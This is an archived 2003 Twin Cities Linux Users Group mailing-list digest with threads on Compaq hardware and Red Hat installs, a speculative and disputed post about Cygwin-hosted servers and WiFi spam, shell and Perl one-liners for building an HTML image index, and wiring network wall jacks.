--nodeps Perl-DBD and it hangs. Process is > running, not gaining time. It's been sitting there spinning for 30 > minutes. Yeah, man rpm, there's hardly ever a reason for --nodeps, and when you think there is, there isn't =) Overall, I'd say that particular piece of hardware requires a drop off a large structure. Compaq supports Red Hat, I've installed it on some of their more annoying hardware (proliant 3500), the only problem I had was finding the software to reconfigure the raid array. -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kbongers at infinetivity.com Mon Aug 25 16:45:17 2003 From: kbongers at infinetivity.com (Karl Bongers) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: <00c201c36b35$98405ee0$0300000a@net.tsinks>; from tsinks@isd.net on Mon, Aug 25, 2003 at 01:20:36PM -0500 References: <00c201c36b35$98405ee0$0300000a@net.tsinks> Message-ID: <20030825164517.A6636@localhost.localdomain> On Mon, Aug 25, 2003 at 01:20:36PM -0500, Tim Sinks wrote: > I have had RH 5.0 - 6.2 - 9.x and have no problems loading on my CPQ > Presario 1700T. I am running Win98 with CPQ's backup SYSTEM_SAV area as 'D:' Grrrrrr, don't get me going on Compaq, and their restore data on harddrive, or their screwy bioses.... ;( _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 17:40:57 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: <20030825164517.A6636@localhost.localdomain> References: <00c201c36b35$98405ee0$0300000a@net.tsinks> <20030825164517.A6636@localhost.localdomain> Message-ID: <3F4A9079.10103@visi.com> Not to nit-pic but a Presario isn't a Server it's a retail PC. I haven't heard what kind of server he has but the first issue may be that Smartstart for Compaq servers may not have been run for Linux. The Smartstart state is not know for this server. Karl Bongers wrote: >On Mon, Aug 25, 2003 at 01:20:36PM -0500, Tim Sinks wrote: > > >>I have had RH 5.0 - 6.2 - 9.x and have no problems loading on my CPQ >>Presario 1700T. I am running Win98 with CPQ's backup SYSTEM_SAV area as 'D:' >> >> > >Grrrrrr, don't get me going on Compaq, and their restore data on harddrive, >or their screwy bioses.... ;( > > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kbongers at infinetivity.com Mon Aug 25 22:41:53 2003 From: kbongers at infinetivity.com (Karl Bongers) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: <3F4A9079.10103@visi.com> References: <00c201c36b35$98405ee0$0300000a@net.tsinks> <20030825164517.A6636@localhost.localdomain> <3F4A9079.10103@visi.com> Message-ID: <20030826034153.GA1612@duron> On Mon, Aug 25, 2003 at 05:40:57PM -0500, Sam MacDonald wrote: > Not to nit-pic but a Presario isn't a Server it's a retail PC. > I haven't heard what kind of server he has but the first issue may be > that Smartstart for Compaq servers may not have been run for Linux. The > Smartstart state is not know for this server. Smartstart Smartstart Smartstart Smartstart Smartstart :) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 22:54:32 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: <20030826034153.GA1612@duron> References: <00c201c36b35$98405ee0$0300000a@net.tsinks> <20030825164517.A6636@localhost.localdomain> <3F4A9079.10103@visi.com> <20030826034153.GA1612@duron> Message-ID: <3F4AD9F8.5080905@visi.com> Karl Bongers wrote: >On Mon, Aug 25, 2003 at 05:40:57PM -0500, Sam MacDonald wrote: > > >>Not to nit-pic but a Presario isn't a Server it's a retail PC. >>I haven't heard what kind of server he has but the first issue may be >>that Smartstart for Compaq servers may not have been run for Linux. The >>Smartstart state is not know for this server. >> >> > >Smartstart Smartstart Smartstart Smartstart Smartstart :) > > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > LOLROFLMAO :-D _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 23:34:58 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] The Evil Possibilities Message-ID: <3F4AE372.5010707@visi.com> I notice something about running Cygwin, it comes with apache. That's not all that special in it's self but the possibilities are almost endless. I'm sure I'm not the first to see this but it triggered the security analyst in me. In theory by using multiple NIC's one could run many servers on 1 machine using Cygwin. People accessing the sites would never know they were windows machines acting as the real host. Even with 1 NIC and several IP addresses assigned to the 1 NIC. Vanishing websites at the click of the (X) Virus distributors, script kiddies, crackers of the worst kind could really kick some serious butt. And with WiFi coming in to its own we could have all sorts of problems. Sam _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Ty.Richardson at mnaidsproject.org Tue Aug 26 01:00:29 2003 From: Ty.Richardson at mnaidsproject.org (Ty.Richardson@mnaidsproject.org) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Ty L Richardson/MPLS/MAP is out of the office. Message-ID: I will be out of the office starting 08/25/2003 and will not return until 09/02/2003. I will respond to your message when I return. Thanks! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Tue Aug 26 08:10:55 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] The Evil Possibilities In-Reply-To: <3F4AE372.5010707@visi.com> Message-ID: I'm having trouble understanding the danger here. This is already a common hosting solution (albeit, not with Cygwin). FreeBSD and Linux both have software that let you run multiple virtual machines on the same physical hardware. And there's vmware of course. IBM has enterprise-class servers that can run hundreds or thousands of unique instances of Linux (or AIX) on one server. IBM calls this LPAR - Logical Partitioning. Sun also has something similar, although I don't remember what they call their flavor. Hosting companies like it because they can give a customer full control over their virtual machine, and they can't influence any other customers. You can buy 1 biggie-sized server and charge customers a premium rate for "virtual server" instead of "virtual host". This is actually more difficult to do mass-hacking versus virtual webhosting with Apache or IIS. Since you need to break into X machines to deface X websites, rather than breaking into 1 machine to deface a bunch of sites. And since each machine is it's own instance of Linux, it will likely be running different software and be patched at a different level. Granted, you have the problem that you can take out all of these virtual servers if the 1 machine goes down - but you have the same problem with virtual webhosting already. And you wouldn't be running 1000 instances of Linux on a big Pentium box. No, this would be a 32-way IBM p690, or a 106-way SunFire 15k (drool). You need to lose a lot of components before the whole system chokes. > Vanishing websites at the click of the (X) > Virus distributors, script kiddies, crackers of the worst kind could > really kick some serious butt. And with WiFi coming in to its own we > could have all sorts of problems. > > Sam > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 26 08:29:50 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] The Evil Possibilities In-Reply-To: References: Message-ID: <3F4B60CE.3080806@visi.com> A laptop wandering around a city sending out an eMail attack from different WiFi locations could be very difficult to stop. Several laptops wandering around a city would be just nasty. Adam Maloney wrote: >I'm having trouble understanding the danger here. This is already a >common hosting solution (albeit, not with Cygwin). FreeBSD and Linux both >have software that let you run multiple virtual machines on the same >physical hardware. And there's vmware of course. IBM has >enterprise-class servers that can run hundreds or thousands of unique >instances of Linux (or AIX) on one server. IBM calls this LPAR - Logical >Partitioning. Sun also has something similar, although I don't remember >what they call their flavor. > >Hosting companies like it because they can give a customer full control >over their virtual machine, and they can't influence any other customers. >You can buy 1 biggie-sized server and charge customers a premium rate for >"virtual server" instead of "virtual host". > >This is actually more difficult to do mass-hacking versus virtual >webhosting with Apache or IIS. Since you need to break into X machines to >deface X websites, rather than breaking into 1 machine to deface a bunch >of sites. And since each machine is it's own instance of Linux, it will >likely be running different software and be patched at a different level. > >Granted, you have the problem that you can take out all of these virtual >servers if the 1 machine goes down - but you have the same problem with >virtual webhosting already. And you wouldn't be running 1000 instances of >Linux on a big Pentium box. No, this would be a 32-way IBM p690, or a >106-way SunFire 15k (drool). You need to lose a lot of components before >the whole system chokes. > > > >>Vanishing websites at the click of the (X) >>Virus distributors, script kiddies, crackers of the worst kind could >>really kick some serious butt. And with WiFi coming in to its own we >>could have all sorts of problems. >> >>Sam >> >> >> _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Tue Aug 26 08:41:02 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:58 2005 Subject: [TCLUG] The Evil Possibilities In-Reply-To: <3F4B60CE.3080806@visi.com> Message-ID: How exactly does this fit in with Cygwin and virtual machines? What is the difference between several wireless laptops spewing out e-mail, versus using any of the seemingly limitless supply of promiscuous relays on the net? Or insecure webforms. Or trojaned PC's from the last virus outbreak? Or am I just missing some key point here? On Tue, 26 Aug 2003, Sam MacDonald wrote: > A laptop wandering around a city sending out an eMail attack from > different WiFi locations could be very difficult to stop. Several > laptops wandering around a city would be just nasty. > > > Adam Maloney wrote: > > >I'm having trouble understanding the danger here. This is already a > >common hosting solution (albeit, not with Cygwin). FreeBSD and Linux both > >have software that let you run multiple virtual machines on the same > >physical hardware. And there's vmware of course. IBM has > >enterprise-class servers that can run hundreds or thousands of unique > >instances of Linux (or AIX) on one server. IBM calls this LPAR - Logical > >Partitioning. Sun also has something similar, although I don't remember > >what they call their flavor. > > > >Hosting companies like it because they can give a customer full control > >over their virtual machine, and they can't influence any other customers. > >You can buy 1 biggie-sized server and charge customers a premium rate for > >"virtual server" instead of "virtual host". > > > >This is actually more difficult to do mass-hacking versus virtual > >webhosting with Apache or IIS. Since you need to break into X machines to > >deface X websites, rather than breaking into 1 machine to deface a bunch > >of sites. And since each machine is it's own instance of Linux, it will > >likely be running different software and be patched at a different level. > > > >Granted, you have the problem that you can take out all of these virtual > >servers if the 1 machine goes down - but you have the same problem with > >virtual webhosting already. And you wouldn't be running 1000 instances of > >Linux on a big Pentium box. No, this would be a 32-way IBM p690, or a > >106-way SunFire 15k (drool). You need to lose a lot of components before > >the whole system chokes. > > > > > > > >>Vanishing websites at the click of the (X) > >>Virus distributors, script kiddies, crackers of the worst kind could > >>really kick some serious butt. And with WiFi coming in to its own we > >>could have all sorts of problems. > >> > >>Sam > >> > >> > >> > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Tue Aug 26 09:20:37 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:58 2005 Subject: [TCLUG] The Evil Possibilities In-Reply-To: <3F4B60CE.3080806@visi.com> References: <3F4B60CE.3080806@visi.com> Message-ID: <20030826142037.GA8410@mail.el-swifto.com> On Tue, Aug 26, 2003 at 08:29:50AM -0500, Sam MacDonald wrote: > A laptop wandering around a city sending out an eMail attack from > different WiFi locations could be very difficult to stop. Several > laptops wandering around a city would be just nasty. > What's an email attack? You mean spam? I think it would be easy to stop, no more difficult than ordinary spam problems. Plus it would be a good learning experience for the wireless "admins" who let it happen. -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota -------------- next part -------------- A non-text attachment was scrubbed... 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Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 26 09:48:07 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:58 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: <20030826094807.3686fb9d.sfertch@real-time.com> On Tue, 26 Aug 2003 09:41:06 -0500 Shawn wrote: > I want to take an ls of a directory and dump it into an html file > (pics) for temporary use. Until I get a sight up with thumbnails (read > lack of time right now). > > What's the best way to do this? > > I tried a for loop, but it didn't work. > > any help on this would be appreciated. > Should probably clarify the for loop I tried... from within the directory I did: for i in ls; do echo '

> file.html; done Then I was going to add a couple of lines to the top and bottom manually... It's a syntax issue, but am not certain of the best way to do this. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Tue Aug 26 09:57:20 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:58 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094807.3686fb9d.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826094807.3686fb9d.sfertch@real-time.com> Message-ID: <20030826145720.GA9567@mail.el-swifto.com> On Tue, Aug 26, 2003 at 09:48:07AM -0500, Shawn wrote: > On Tue, 26 Aug 2003 09:41:06 -0500 > Shawn wrote: > > > I want to take an ls of a directory and dump it into an html file > > (pics) for temporary use. Until I get a sight up with thumbnails (read > > lack of time right now). > > > > What's the best way to do this? > > > > I tried a for loop, but it didn't work. > > > > any help on this would be appreciated. > > > > Should probably clarify the for loop I tried... > > from within the directory I did: > > for i in ls; do echo '

> file.html; done > > Then I was going to add a couple of lines to the top and bottom manually... > > It's a syntax issue, but am not certain of the best way to do this. > Untested one-liners: perl -le 'print qq[$_
] for @ARGV' *.jpg > foo.html perl -le 'print qq[

] for @ARGV' *.jpg > bar.html -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Tue Aug 26 10:00:14 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:58 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094807.3686fb9d.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826094807.3686fb9d.sfertch@real-time.com> Message-ID: <20030826150013.GA24627@fandre.com> On Tue, 26 Aug 2003, Shawn wrote: > On Tue, 26 Aug 2003 09:41:06 -0500 > Shawn wrote: > > > I want to take an ls of a directory and dump it into an html file > > (pics) for temporary use. Until I get a sight up with thumbnails (read > > lack of time right now). > > > > What's the best way to do this? > > > > I tried a for loop, but it didn't work. > > > > any help on this would be appreciated. > > > > Should probably clarify the for loop I tried... > > from within the directory I did: > > for i in ls; do echo '

> file.html; done > > Then I was going to add a couple of lines to the top and bottom manually... > > It's a syntax issue, but am not certain of the best way to do this. for file in `ls`; do echo "

"; done _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 26 10:02:27 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:58 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826145720.GA9567@mail.el-swifto.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826094807.3686fb9d.sfertch@real-time.com> <20030826145720.GA9567@mail.el-swifto.com> Message-ID: <20030826100227.139d6c72.sfertch@real-time.com> On Tue, 26 Aug 2003 09:57:20 -0500 "John J. Trammell" wrote: > > Untested one-liners: > > perl -le 'print qq[$_
] for @ARGV' *.jpg > > foo.html > > perl -le 'print qq[

] for @ARGV' *.jpg > bar.html > Thanks John. I gotta learn perl.... No idea what any of that means. =P qq = echo equivalent to input to the file? @ ARGV = the argument of the script in brackets? -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Tue Aug 26 10:01:04 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094807.3686fb9d.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826094807.3686fb9d.sfertch@real-time.com> Message-ID: On Tue, 26 Aug 2003 09:48:07 -0500, Shawn wrote: > On Tue, 26 Aug 2003 09:41:06 -0500 > Shawn wrote: > >> I want to take an ls of a directory and dump it into an html file >> (pics) for temporary use. Until I get a sight up with thumbnails (read >> lack of time right now). >> >> What's the best way to do this? >> >> I tried a for loop, but it didn't work. >> >> any help on this would be appreciated. >> > > Should probably clarify the for loop I tried... > > from within the directory I did: > > for i in ls; do echo '

> file.html; done try: for i in `ls *.jpg`; do echo "

>file.html;done > > Then I was going to add a couple of lines to the top and bottom > manually... > > It's a syntax issue, but am not certain of the best way to do this. > > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Tue Aug 26 10:08:08 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: You mean you just want the filename as a link to the file? ls -1 | awk '{ printf("%s\n", $1, $1) }' On Tue, 26 Aug 2003, Shawn wrote: > I want to take an ls of a directory and dump it into an html file (pics) for temporary use. Until I get a sight up with thumbnails (read lack of time right now). > > What's the best way to do this? > > I tried a for loop, but it didn't work. > > any help on this would be appreciated. > > -- > Shawn > > The difficult we do today; the impossible take a little longer. > > Ne Obliviscaris -- "Forget Not" > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Tue Aug 26 10:13:41 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826100227.139d6c72.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826094807.3686fb9d.sfertch@real-time.com> <20030826145720.GA9567@mail.el-swifto.com> <20030826100227.139d6c72.sfertch@real-time.com> Message-ID: <20030826151341.GA9912@mail.el-swifto.com> On Tue, Aug 26, 2003 at 10:02:27AM -0500, Shawn wrote: > On Tue, 26 Aug 2003 09:57:20 -0500 > "John J. Trammell" wrote: > > > > > Untested one-liners: > > > > perl -le 'print qq[$_
] for @ARGV' *.jpg > > > foo.html > > > > perl -le 'print qq[

] for @ARGV' *.jpg > bar.html > > > > Thanks John. I gotta learn perl.... No idea what any of that means. =P > > qq = echo equivalent to input to the file? > > @ ARGV = the argument of the script in brackets? > Perl r0x0rs! qq[xyz] is the same as "xyz", but lets you avoid backslashing internal quotes, e.g. qq["quoted"] eq "\"quoted\"". Just looks cleaner to me. "qq" is a mnemonic for "double quote". @ARGV contains the command-line arguments to the script, similar to $1, $2, etc. in sh. -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Tue Aug 26 10:19:04 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: On Tue, 26 Aug 2003, Shawn wrote: > I want to take an ls of a directory and dump it into an html file (pics) for temporary use. Until I get a sight up with thumbnails (read lack of time right now). > > What's the best way to do this? not quite what you asked for but in konqueror you can create an album out of the pictures in your CWD. It will ceraet the thumbnails and spit out an html file. Let the file manager wars begin. Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From william.layer at comcast.net Tue Aug 26 08:24:48 2003 From: william.layer at comcast.net (Bill Layer) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] The Evil Possibilities In-Reply-To: <3F4AE372.5010707@visi.com> References: <3F4AE372.5010707@visi.com> Message-ID: <20030826082448.5b5f0201.william.layer@comcast.net> On Mon, 25 Aug 2003 23:34:58 -0500 Sam MacDonald wrote: > In theory by using multiple NIC's one could run many servers on 1 > machine using Cygwin. People accessing the sites would never know they > were windows machines acting as the real host. Even with 1 NIC and > several IP addresses assigned to the 1 NIC. I don't see how this differs from the equivalent functionality in Linux.. you can do all of this natively with Linux itself. And much more. > Vanishing websites at the click of the (X) Uhh.. vanishing any services at the click of the return key? > Virus distributors, script kiddies, crackers of the worst kind could > really kick some serious butt. And with WiFi coming in to its own we > could have all sorts of problems. I guess I don't see the issues here either. Can you expand on this? Bill _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From william.layer at comcast.net Tue Aug 26 08:27:41 2003 From: william.layer at comcast.net (Bill Layer) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] The Evil Possibilities In-Reply-To: <3F4B60CE.3080806@visi.com> References: <3F4B60CE.3080806@visi.com> Message-ID: <20030826082741.7cb1fa2d.william.layer@comcast.net> On Tue, 26 Aug 2003 08:29:50 -0500 Sam MacDonald wrote: > A laptop wandering around a city sending out an eMail attack from > different WiFi locations could be very difficult to stop. Several > laptops wandering around a city would be just nasty. And what does Cygwin lend to this, that linux does not already have in spades? Bill _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dd-b at dd-b.net Tue Aug 26 10:37:25 2003 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: Shawn writes: > I want to take an ls of a directory and dump it into an html file (pics) for temporary use. Until I get a sight up with thumbnails (read lack of time right now). > > What's the best way to do this? > > I tried a for loop, but it didn't work. > > any help on this would be appreciated. Just make sure Apache directory indexing is turned on for that directory, and it'll be taken care of automatically. (Options +Indexes). -- David Dyer-Bennet, , RKBA: Photos: Snapshots: Dragaera mailing lists: _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 26 11:11:10 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826151341.GA9912@mail.el-swifto.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826094807.3686fb9d.sfertch@real-time.com> <20030826145720.GA9567@mail.el-swifto.com> <20030826100227.139d6c72.sfertch@real-time.com> <20030826151341.GA9912@mail.el-swifto.com> Message-ID: <20030826111110.4a4d4261.sfertch@real-time.com> On Tue, 26 Aug 2003 10:13:41 -0500 "John J. Trammell" wrote: > Perl r0x0rs! qq[xyz] is the same as "xyz", but lets you avoid > backslashing internal quotes, e.g. qq["quoted"] eq "\"quoted\"". > Just looks cleaner to me. "qq" is a mnemonic for "double quote". > > @ARGV contains the command-line arguments to the script, similar > to $1, $2, etc. in sh. > Thanks for the descriptors John, need to look into perl more. Also, thanks to everyone for the help, I wound up using Clay's as I'm a bit more familiar with shell scripting currently. worked fine. As to the apache indexing thing, it's an unlinked page and wasn't sure on how to do it. In due time... No konquerer on the box, it's a server only ;) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Tue Aug 26 11:24:55 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] OT: wall jacks Message-ID: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> Ok...not Linux related but I have looked everywhere...does anyone know where I can find a good how on making a wall jack for networks....just what the wiring order is or what ever....i know how to make the Ethernet cable....i have buttloads of cat 5 but after extensive googling I have come up with nothing but adds selling punchdown tools and guides telling college kids how to plug their PCs in to the wall jacks in their dorms.....thanks Dan Lansing -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030826/e3bcf675/attachment.htm From johnnyfulcrum at mn.rr.com Tue Aug 26 11:52:57 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] OT: wall jacks In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> Message-ID: On Tue, 26 Aug 2003 11:24:55 -0500, Lansing, Dan wrote: > Ok...not Linux related but I have looked everywhere...does anyone know > where I can find a good how on making a wall jack for networks....just > what the wiring order is or what ever....i know how to make the Ethernet All the jacks I've ever purchased had nice little color coded punchdown "slots". Just lay the appropriate colored wire in the slot and snap it in with a punchdown deal. then again, I'm no network guru - and I get my jacks a homeless depot... > cable....i have buttloads of cat 5 but after extensive googling I have > come up with nothing but adds selling punchdown tools and guides telling > college kids how to plug their PCs in to the wall jacks in their > dorms.....thanks > > Dan Lansing > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Tue Aug 26 11:57:01 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] OT: wall jacks In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> Message-ID: <3F4B915D.1090902@druswanderings.net> Lansing, Dan wrote: > Ok?not Linux related but I have looked everywhere?does anyone know where > I can find a good how on making a wall jack for networks?.just what the > wiring order is or what ever?.i know how to make the Ethernet cable?.i > have buttloads of cat 5 but after extensive googling I have come up with > nothing but adds selling punchdown tools and guides telling college kids > how to plug their PCs in to the wall jacks in their dorms?..thanks > > Dan Lansing > Most wall jacks I've used are clearly labeled for 468A & 468B. Most Patch cables you buy use 468B, so just match your cable colors to the 468B line on the jack itself and punch away. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From iaustin at qbp.com Tue Aug 26 12:05:20 2003 From: iaustin at qbp.com (Ivan Austin) Date: Mon Jan 17 12:40:59 2005 Subject: [TCLUG] OT: wall jacks Message-ID: 